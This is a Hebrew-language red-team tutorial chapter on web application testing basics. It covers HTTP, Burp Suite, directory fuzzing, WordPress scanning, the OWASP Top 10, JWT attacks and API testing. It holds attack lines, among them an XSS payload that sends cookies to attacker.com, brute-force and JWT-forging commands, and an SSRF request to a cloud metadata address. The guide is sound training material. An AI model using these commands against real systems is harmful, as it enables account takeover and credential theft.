

פרק 6א · RED TEAM GUIDES

בדיקות אפליקציות Web: יסודות

מדריך מלא למתחילים — בעברית

Red Team Guides Series · 2026

פרק 6א — בדיקות אפליקציות Web: יסודות

מבוא — למה Web הוא שדה הקרב העיקרי

אם מסתכלים על סטטיסטיקות פריצות, רוב הפריצות קורות דרך Web Applications. הסיבה פשוטה: כמעט כל ארגון היום חשוף לאינטרנט דרך אתר, API, או פורטל לקוחות. ה-web הוא המשטח הכי גדול.

בשני פרקים אלה נלמד:

- פרק 6א — איך Web עובד, OWASP Top 10, enumeration, Burp Suite בתיאוריה
- פרק 6ב — ניצול מעשי: SQLi, XSS, CSRF, SSRF, XXE, Command Injection, ועוד

חלק 1: איך Web עובד — הרעיון ההכרחי

לפני שתוקפים web, חייבים להבין את הפרוטוקול.

HTTP Request — מבנה בקשה

כשהדפדפן שלכם גולש ל-<http://example.com/login>, זה מה שנשלח:

```
GET /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml
Accept-Language: he,en;q=0.9
Cookie: session=abc123; theme=dark
Connection: keep-alive
```

פירוט:

- GET** — ה-(HTTP verb) method. אומר לשרת מה אנחנו רוצים לעשות.
- /login** — ה-path — איזה resource מבקשים
- HTTP/1.1** — גרסת הפרוטוקול
- Host** — שם הדומיין (חשוב ל-virtual hosting)
- User-Agent** — מזהה את הדפדפן/כלי
- Cookie** — קוקיות שהשרת נתן לנו בעבר

```
HTTP/1.1 200 OK
Date: Sun, 30 Aug 2026 10:00:00 GMT
Server: Apache/2.4.41
Content-Type: text/html; charset=UTF-8
Set-Cookie: session=new_session_id; HttpOnly; Secure
Content-Length: 1234

<!DOCTYPE html>
<html>
<body>
<form method="POST" action="/login">
  <input name="username">
  <input name="password" type="password">
</form>
</body>
</html>
```

פירוט:

- **status code 200** — OK — הצליח
- **Server** — מה שרת ה-web
- **Content-Type** — סוג התוכן שמוחזר
- **Set-Cookie** — השרת מגדיר קוקייה
- **גוף** — תוכן ה-HTML

HTTP Methods

Method	שימוש	דוגמה
GET	קריאת resource	GET /users/123
POST	יצירת/שליחת נתונים	POST /login
PUT	עדכון resource (כולו)	PUT /users/123
PATCH	עדכון חלקי	PATCH /users/123
DELETE	מחיקה	DELETE /users/123
OPTIONS	שאלה על מה מותר	OPTIONS /api
HEAD	כמו GET אבל בלי body	HEAD /page

Status Codes — קודי תגובה

קוד	משמעות
OK 200	הצליח
Created 201	נוצר resource חדש
301/302	Redirect
Bad Request 400	שגיאה בבקשה
Unauthorized 401	צריך login
Forbidden 403	אין הרשאה
Not Found 404	לא קיים
Method Not Allowed 405	method לא מותר
Internal Server Error 500	שגיאה בשרת
Bad Gateway 502	שגיאת proxy
Service Unavailable 503	שרת לא זמין

מעניין ל-pentest:

- **403** — resource קיים אבל חסום → לנסות עקיפה

- **500** — שגיאה בשרת → לפעמים חושפת מידע
- **302** → **200** — redirect לאחר login — לבדוק אם ניתן לדלג

Cookies — איך Session עובד

HTTP הוא stateless — כל בקשה עצמאית. כדי שהשרת "יזכור" שאנחנו מחוברים, הוא משתמש ב-Cookies.

```
תהליך Login:
1. לקוח שולח: POST /login {username, password}
2. שרת מאמת ← בדיקת DB
3. שרת שולח: Set-Cookie: session=abc123xyz
4. לקוח שומר את הקוקייה
5. בכל בקשה הבאה: Cookie: session=abc123xyz
6. שרת מזוהה לפי ה-ID session
```

Cookie attributes חשובים:

- **HttpOnly** — JavaScript לא יכול לקרוא (מגן מ-XSS)
- **Secure** — רק HTTPS
- **SameSite** — הגנה מ-CSRF
- **Domain** — לאיזה domain
- **Path** — לאיזה path
- **Expires** — מתי פג תוקף

HTTPS ו-TLS

כשהסתכלנו על HTTP, הטרופיק מוצפן ב-TLS (מה שהופך אותו ל-HTTPS). זה אומר שאי אפשר לקרוא את התוכן בדרך. אבל כשאנחנו עובדים עם כלים כמו Burp Suite, אנחנו יכולים לראות הכל — כי Burp פועל כ-proxy בין הדפדפן לשרת.

חלק 2: Burp Suite — הכלי הכי חשוב

Burp Suite הוא proxy server שיושב בין הדפדפן שלכם לאתר. כל בקשה ותגובה עוברת דרכו, ואתם יכולים לראות, לשנות, ולשלוח מחדש כל בקשה.

גרסאות:

- **Burp Suite Community** — חינמי, לוקח זמן
- **Burp Suite Professional** — תשלום, מהיר יותר, Scanner מובנה

התקנה

```
# ב-Kali כבר מותקן  
burpsuite  
  
# או הורדה מ-portswigger.net  
java -jar burpsuite_community.jar
```

הגדרת Proxy

```
1. פתחו Burp Suite  
2. Proxy → Options → Add  
   - Bind to port: 8080  
   - Bind to address: 127.0.0.1  
3. בדפדפן Firefox:  
   - Settings → Network Settings → Manual Proxy  
   - HTTP Proxy: 127.0.0.1, Port: 8080  
   - SSL Proxy: 127.0.0.1, Port: 8080
```

התקנת SSL Certificate של Burp

כדי שBurp יוכל לפענח HTTPS:

```
1. גשו ל: http://burp (כשה-proxy דרך Burp פעיל)  
2. Download CA Certificate  
3. ב-Firefox: Settings → Privacy → Certificates → Import-ב-  
4. בחרו את burp_cacert.der  
5. Trust for web sites ✓
```

extension — FoxyProxy שמקל:

1. התקינו FoxyProxy ב-Firefox
2. הגדירו profile עבור 127.0.0.1:8080
3. Toggle קל בין proxy פעיל/כבוי

ממשק Burp

:Proxy → Intercept

- כשהאינטרסיפט ON — כל בקשה עוצרת ומחכה לאישורכם
- אפשר לשנות כל דבר ברגישה — Headers, params, body
- Forward — שליחת הבקשה
- Drop — ביטול הבקשה

:Proxy → HTTP History

- כל הטראפיק שעבר — גם בלי intercept
- שימושי לראות מה הדפדפן עושה

:Repeater

הכלי הכי שימושי ל-pentest. שולחים בקשה ל-Repeater, ומשנים ושולחים כמה פעמים שרוצים.

HTTP History → לקיחה ימנית על בקשה → Send to Repeater

ב-Repeater:

- שינוי כל פרמטר
- לקיחה על Send
- ראיית התגובה
- השוואה בין תגובות

:Scanner (Pro only)

מריץ בדיקות אוטומטיות על האתר — מוצא XSS, SQLi, ועוד.

:Intruder

מאפשר brute force ו-fuzzing על בקשות.

HTTP History → Send to Intruder

:Decoder

מקודד/מפענח: HTML encoding, URL encoding, Base64, ועוד.

השוואה בין שתי תגובות — שימושי לזיהוי הבדלים קטנים.

Burp Suite Tips

```
# FoxyProxy toggle shortcut
# יש אפשרות ל-paste כ-curl

# Export request as curl:
# HTTP History → לחיצה ימנית → Copy as curl command

# בחיפוש XSS – עם Burp:
# 1. מכניסים <script>alert(1)</script> ב-fields שונים
# 2. רואים בתגובה אם הוחזר unescaped
```

חלק 3: Directory and File Enumeration

gobuster

```
# Directory bruteforce
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt

# עם extension
gobuster dir -u http://example.com -w common.txt -x php,html,txt,bak

# עם SSL ignore HTTPS
gobuster dir -u https://example.com -w common.txt -k

# עם header (כשצריך auth)
gobuster dir -u http://example.com -w common.txt -H "Cookie: session=abc123"

# לקובץ Output
gobuster dir -u http://example.com -w common.txt -o gobuster_results.txt
```



```
recursive סריקה #
feroxbuster -u http://example.com

עם wordlist ספציפית #
feroxbuster -u http://example.com -w /usr/share/seclists/Discovery/Web-Content/directory-

extensions עם #
feroxbuster -u http://example.com -x php,html,js,txt
```

ffuf — Fuzzer מהיר

```
# Directory fuzzing
ffuf -u http://example.com/FUZZ -w common.txt

extension עם #
ffuf -u http://example.com/FUZZ.php -w common.txt

# Fuzzing parameters
ffuf -u "http://example.com/page?FUZZ=value" -w params.txt

# POST body fuzzing
ffuf -u http://example.com/login -X POST -d "username=FUZZ&password=admin" -w users.txt

# VHost discovery
ffuf -u http://example.com -H "Host: FUZZ.example.com" -w subdomains.txt

# Filter by size (להסתיר 404)
ffuf -u http://example.com/FUZZ -w common.txt -fs 1234

# Filter by status code
ffuf -u http://example.com/FUZZ -w common.txt -fc 404
```

```
# SecLists – גדול הכי האוסף
ls /usr/share/seclists/Discovery/Web-Content/

# חשבוים:
/usr/share/seclists/Discovery/Web-Content/common.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
/usr/share/seclists/Discovery/Web-Content/big.txt
/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt

# Wordlists לhidden params
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
```

חלק 4: Web Technologies — מה לחפש לפי טכנולוגיה

WordPress

WordPress הוא ה-CMS הנפוץ ביותר — ומנוצל הכי הרבה.

```
# הסורק הייעודי - wpscan
wpscan --url http://example.com

# עם API key (יותר vulnerability data)
wpscan --url http://example.com --api-token YOUR_TOKEN

# enumeration של users
wpscan --url http://example.com --enumerate u

# enumeration של plugins
wpscan --url http://example.com --enumerate p

# enumeration מלא
wpscan --url http://example.com --enumerate u,p,t,cb,db

# password attack
wpscan --url http://example.com -U users.txt -P passwords.txt
```

נקודות תורפה נפוצות ב-WordsPress:

- Plugins/Themes ישנים עם CVE
- `xmlrpc.php` — מאפשר brute force ללא lockout
- `wp-config.php` — לפעמים נגיש
- Default admin username: `admin`

```
# בדיקת xmlrpc
curl http://example.com/xmlrpc.php

# אם מחזיר: XML-RPC server accepts POST requests only → פגיע
# brute force דרך xmlrpc
python3 xmlrpc_brute.py http://example.com/xmlrpc.php admin rockyou.txt
```

Joomla

```
# joomscan
joomscan -u http://example.com

Metasploit-1 #
msf > use auxiliary/scanner/http/joomla_version
```

Drupal

```
# droopescan
python3 droopescan scan drupal -u http://example.com
```

Laravel (PHP Framework)

```
# APP_DEBUG=true חושפת stack traces
curl http://example.com/trigger_error

# .env file חשוף
curl http://example.com/.env

# DB_PASSWORD=secret123
# APP_KEY=base64:...
```

Django/Flask (Python)

```
# Debug mode
curl http://example.com/nonexistent_page

# Traceback: DEBUG=True → מחזיר code snippets

# Flask secret key חשופה
# → session cookie forgeable
```

HTTP parameters גילוי — Arjun

```
pip3 install arjun

# GET params
arjun -u http://example.com/search

# POST params
arjun -u http://example.com/api -m POST

# JSON
arjun -u http://example.com/api -m JSON
```

mining parameters

```
git clone https://github.com/devanshbatham/ParamSpider
cd ParamSpider
python3 paramspider.py --domain example.com
```

JavaScript-ב endpoints — JS Analysis

JavaScript files מכילים לפעמים API endpoints, credentials, ומידע רגיש.

חלק 6: 10 — OWASP Top 10 הפגיעויות הנפוצות ביותר

OWASP (Open Web Application Security Project) מפרסמת את רשימת 10 הפגיעויות הנפוצות ביותר ב-Web. זו המפה של ה-Web Pentesting.

1. Broken Access Control

מה זה?

המשתמש מצליח לגשת למשאבים שלא אמור. לדוגמה: לשנות `/user/123` ל-`/user/124` ולקבל נתוני משתמש אחר (IDOR — Insecure Direct Object Reference).

דוגמה:

```
GET /api/users/123/profile → מחזיר את הפרופיל שלי ✓  
GET /api/users/124/profile → מחזיר את הפרופיל של מישהו אחר ✗
```

בדיקה:

```
שינוי IDs, UUIDs, emails בURLs וב-parameters  
בדיקת גישה לadmin endpoints בלי הרשאות
```

2. Cryptographic Failures

מה זה?

נתונים רגישים לא מוצפנים כראוי — סיסמאות ב-MD5, העברת נתונים ב-keys, HTTP חשופים.

בדיקה:

```
# HTTP בלי S?  
curl -v http://example.com # האם מחזיר credentials?  
  
# Cookies ללא Secure/HttpOnly?  
# ב-Burp: בדיקת Set-Cookie headers
```

3. Injection (SQLi, Command Injection, LDAP Injection)

מה זה?

קלט לא מסונן שנכנס לquery של DB, פקודה של OS, או פרוטוקולים אחרים. נלמד בפרק 6 בהרחבה.

Insecure Design .4

מה זה?

בעיות ב-design הבסיסי — flow שאפשר לנצל, לוגיקה שבורה.

דוגמה:

```
שלב 1: username
שלב 2: password
שלב 3: שאלת אבטחה (מה שם חיית המחמד?)

בדיקה: לדלג לשלב 3 ישירות בלי שלב 2
```

Security Misconfiguration .5

מה זה?

הגדרות לא נכונות — default credentials, error messages, ממשקי ניהול חשופים, CORS רחב מדי.

בדיקה:

```
# בדיקת default credentials
curl http://example.com/admin → admin:admin?

# Error messages
curl http://example.com/crash

# Stack trace? Database error with schema info?

# Debug endpoints
curl http://example.com/debug
curl http://example.com/test
curl http://example.com/phpinfo.php
```

Vulnerable and Outdated Components .6

מה זה?

שימוש בספריות/frameworks עם CVE ידועות.

בדיקה:

```
# זיהוי גרסאות
whatweb http://example.com
curl -I http://example.com # Server header

# חיפוש CVE
searchsploit apache 2.4.41
searchsploit jquery 1.11.0
```

7 Identification and Authentication Failures

מה זה?

בעיות ב-brute force authentication: ללא weak reset password, weak session IDs, lockout.

בדיקה:

```
# Brute force
hydra -l admin -P rockyou.txt http-post-form://example.com/login:u=^USER^&p=^PASS^:Invalid

# Account enumeration (username vs password error message)
# "Invalid username" vs "Invalid password" → קיימים usernames מגלה

# Weak session IDs
...sequential: session=1001, session=1002 # לבדוק אם
```

8 Software and Data Integrity Failures

מה זה?

עדכונים ספריות ללא בדיקת CI/CD, integrity פגיע, Insecure Deserialization.

9 Security Logging and Monitoring Failures

מה זה?

אין logging, אין monitoring, אין alerting — התוקף עובד בשקט.

כמה זמן ממוצע לגילוי פריצה? +200 ימים!

10. Server-Side Request Forgery (SSRF)

מה זה?

גורמים לשרת לעשות HTTP request לכתובת שבוחרים — לרוב לשירותים פנימיים.

דוגמה:

```
POST /api/fetch
{"url": "https://external-site.com/image.jpg"}

שינוי ל:
{"url": "http://internal-service:8080/admin"}
{"url": "http://169.254.169.254/latest/meta-data/"} # AWS metadata
```

חלק 7: Authentication Testing

Username Enumeration

אם השגיאה שונה בין "username לא קיים" ל"סיסמה שגויה", אפשר לגלות usernames קיימים.

```
# בדיקה ידנית:
POST /login: username=admin → "Invalid password"      → admin קיים!
POST /login: username=xyz   → "Invalid username"      → לא קיים xyz

# Burp Intruder
# 1. Send to Intruder
# 2. Mark $username$
# 3. Payload: wordlist of common usernames
# 4. Grep: "Invalid password" vs "Invalid username"
```

Brute Force Bypassing

```
# אם יש IP lockout – רוטציית IPs
hydra -l admin -P rockyou.txt http-post-form://example.com/login:... -W 0 -o hydra.txt

# X-Forwarded-For bypass
curl -H "X-Forwarded-For: 1.2.3.4" http://example.com/login

# Burp
# Pitchfork – כל pair של user:password
# Cluster bomb – כל combination
```

Password Reset Flaws

```
# Predictable token
GET /reset-password?token=123456 # sequential?
GET /reset-password?token=user_email_base64encoded?

# Token not expiring
# שמור token → השתמש שעה אחר כך → עדיין עובד?

# Host header injection
POST /forgot-password
Host: attacker.com # שלנו link למייל יישלח עם ה
```

JWT (JSON Web Tokens) Attacks

JWT הוא פורמט נפוץ ל-authentication tokens ב-APIs מודרניים.

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiam9obiIsInJvbGU0Ij1c2VyIn0.SfLAXs
```

JWT מורכב מ-3 חלקים מופרדים בנקודה:

1. **Header** (Base64): `{"alg": "HS256", "typ": "JWT"}`
2. **Payload** (Base64): `{"user": "john", "role": "user"}`
3. **Signature**: HMAC של header+payload עם secret key

מתקפות JWT:

```

jwt_tool : כלי #
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py TOKEN

algorithm=none :1 מתקפה #
{"alg":"none"} : שיוני header ל #
signature-ה הסרת #
python3 jwt_tool.py TOKEN -X a

(כשיש מפתח ציבורי) RS256 → HS256 :2 מתקפה #
python3 jwt_tool.py TOKEN -S hs256 -k public.pem

secret-ה brute force :3 מתקפה #
python3 jwt_tool.py TOKEN -C -d rockyou.txt

(secret יש אם) claims שיוני #
python3 jwt_tool.py TOKEN -I -c "role=admin" -S hs256 -p "weak_secret"

```

חלק 8: Session Management Testing

Session Fixation

```

1. תוקף מבקש session=ATTACKER_SESSION_ID → GET /login
2. תוקף שולח לקורבן: http://example.com/login?session=ATTACKER_SESSION_ID
3. קורבן מתחבר עם אותו session ID
4. תוקף משתמש ב- ATTACKER_SESSION_ID → מחובר!

```

Session Hijacking

```

# אחרי XSS → גניבת cookie
<script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>

# אחרי ARP/SSL stripping → ירוט cookie
sudo tcpdump -i eth0 -A port 80 | grep "Cookie:"

```

```
# בדיקה בBurp:
# Set-Cookie: session=abc123
# ← אין | XSS → HttpOnly יכול לגנוב
# ← אין | HTTPS → Secure לא נאסף
# ← אין | CSRF → SameSite אפשרי
```

חלק 9: Transport Layer Security בדיקות

```
# בדיקת SSL/TLS configuration
testssl.sh https://example.com

# nmap
sudo nmap --script=ssl-enum-ciphers -p 443 example.com

# SSLyze
sslyze --regular example.com:443

# מה לחפש:
# - SSLv2/SSLv3 → לא בטוח בכלל
# - TLS 1.0/1.1 → מיושן
# - BEAST/POODLE/HEARTBLEED vulnerabilities
# - Weak cipher suites (RC4, DES)
# - Certificate expiry
# - Missing HSTS header
```

חלק 10: Content Discovery מתקדם

Sitemap.xml ו-Robots.txt

```
# robots.txt – (לפעמים) רוצה שתמצאו *לא* מה שהאתר
curl http://example.com/robots.txt

# דוגמה שחושפת directories
# User-agent: *
# Disallow: /admin/
# Disallow: /backup/
# Disallow: /internal/

# sitemap.xml – מפה של האתר
curl http://example.com/sitemap.xml

# כל ה-URLs מ-sitemap
curl http://example.com/sitemap.xml | grep -oP 'https?://[^\<]+' | sort -u
```

JavaScript Discovery

```
# gau – Historical URL discovery
gau example.com | grep -E "\.(php|asp|aspx|jsp)" | sort -u > historic_pages.txt

# waybackurls
waybackurls example.com | sort -u > wayback_urls.txt

# katana – modern web crawler
katana -u http://example.com -jc # כולל JavaScript crawling
```

Web Archives ו-Google Cache

```
cache גוגל #
site:example.com "admin" cache:example.com/admin

# archive.org
curl "https://web.archive.org/web/2020/http://example.com/old-admin/"
```

חלק 11: API Testing

(Application Programming Interfaces) APIs הם ה-"backend" של אפליקציות מודרניות. הן לפעמים פחות מוגנות מה-frontend.

מציאת API endpoints

```
# מה JS
linkfinder.py -i http://example.com -d # recursive

# מ-documentation
curl http://example.com/api/docs
curl http://example.com/swagger.json
curl http://example.com/openapi.json
curl http://example.com/api/v1/spec

# bruteforce
gobuster dir -u http://example.com/api -w /usr/share/seclists/Discovery/Web-Content/api/a
```

API Keys בקוד

```
# ב-JS code
curl http://example.com/app.js | grep -iE "api[_-]?key|token|secret|password|auth"

# ב-HTML source
curl http://example.com | grep -iE "apikey|api_key|token"
```

```

authentication בדיקת #
curl http://example.com/api/users # ללא token

method שינוי #
curl -X DELETE http://example.com/api/users/1 # האם מותר?

# IDOR
curl http://example.com/api/users/1/data # 100, 3, 2 נסו...

# Mass assignment
curl -X POST http://example.com/api/register \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"test","role":"admin"}' # מתקבל role האם?

```

חלק 12: HTTP Headers לבדיקה

Headers שחשוב לבדוק בתגובה

```
curl -I http://example.com
```

Headers שחסרים = חולשה:

X-Frame-Options	← חסר → Clickjacking אפשרי
X-Content-Type-Options	← חסר → MIME sniffing
Strict-Transport-Security	← חסר → HTTPS לא נאכף
Content-Security-Policy	← חסר → XSS קל יותר
X-XSS-Protection	← ישן אבל חשוב
Referrer-Policy	← חסר → מידע רגיש ב Referrer

Headers שחושפים מידע:

Server: Apache/2.4.41 Ubuntu ← גרסה מדויקת
X-Powered-By: PHP/7.4.3 ← גרסת PHP
X-AspNet-Version: 4.0.30319 ← .NET version

חלק 13: Burp Suite Workflows

Burp Testing Methodology עם Burp

שלב 1: Spider

Target → Site Map → Spider this host

שלב 2: Passive Scan (Community)

Proxy → HTTP History → Select all → Scan → Passive

שלב 3: Manual Testing ב Repeater

לכל בקשה מעניינת:

שלח → params שנו → Send to Repeater

שלב 4: Brute Force ל Intruder

Send to Intruder

Positions → Clear → Mark target param → \$value\$

Payloads → Wordlist

Start Attack

BApp Store:

- Logger++ – לוג מתקדם
- JWT Editor – עריכת JWT
- ActiveScan++ – נוסף scanning
- Authorize – אוטומטית Authorization בדיקת
- Turbo Intruder – Intruder מהיר יותר
- C02 – CSRF testing
- Retire.js – ספריות JavaScript פגיעויות
- SharpReflected – XSS detection

סיכום פרק 6א

למדנו:

1. **HTTP** — methods, headers, cookies, sessions
 2. **Burp Suite** — proxy, intercept, repeater, intruder
 3. **Directory Enumeration** — gobuster, feroxbuster, ffuf
 4. **Technology Fingerprinting** — WordPress, Joomla, APIs
 5. **OWASP Top 10** — 10 הפגיעויות הנפוצות בתיאוריה
 6. **Authentication Testing** — brute force, JWT attacks, session testing
 7. **Content Discovery** — robots.txt, JS analysis, archives
 8. **API Testing** — endpoints, keys, IDOR
 9. **Security Headers** — מה חסר ומה חושף מידע
- פרק 6ב** יעסוק בניצול מעשי של הפגיעויות הספציפיות: Command Injection, File Upload, LFI/RFI.